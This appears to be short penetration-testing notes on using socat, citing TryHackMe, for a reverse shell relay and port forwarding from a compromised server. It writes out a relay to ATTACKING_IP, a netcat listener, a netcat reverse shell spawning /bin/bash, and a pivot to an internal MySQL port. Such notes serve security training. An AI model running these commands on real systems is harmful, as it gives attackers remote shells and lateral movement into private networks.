Definition

is a tool often used for a really stable linux shell, but it’s also good for port forwarding. It is not often installed by default yet a lot of binaries exists (cf gentil kiwi).

Blog de Gentil Kiwi

Socat create encrypted connections for shell, see the room bellow for more info.

TryHackMe | Cyber Security Training

Socat can be used as a relay to listen for the reverse shell from the target and then forward it immediately back to the attacking box.

Untitled

Reverse shell relay

Start a netcat listener with nc -lvnp 443 on the attacker machine and start the relay on the compromised server.

./socat tcp-l:8000 tcp:ATTACKING_IP:443 & 

<aside> 💡 Note: the order of the two addresses matters here. Make sure to open the listening port first, then connect back to the attacking machine.

</aside>

We can now start a netcat reverse shell on port 8000 (with a static version of netcat).

nc 127.0.0.1 8000 -e /bin/bash

Port forwarding

The quick and easy way to set up a port forward with socat is quite simply to open up a listening port on the compromised server and redirect whatever comes into it to the target server.

./socat tcp-l:33060,fork,reuseaddr tcp:172.16.0.10:3306 &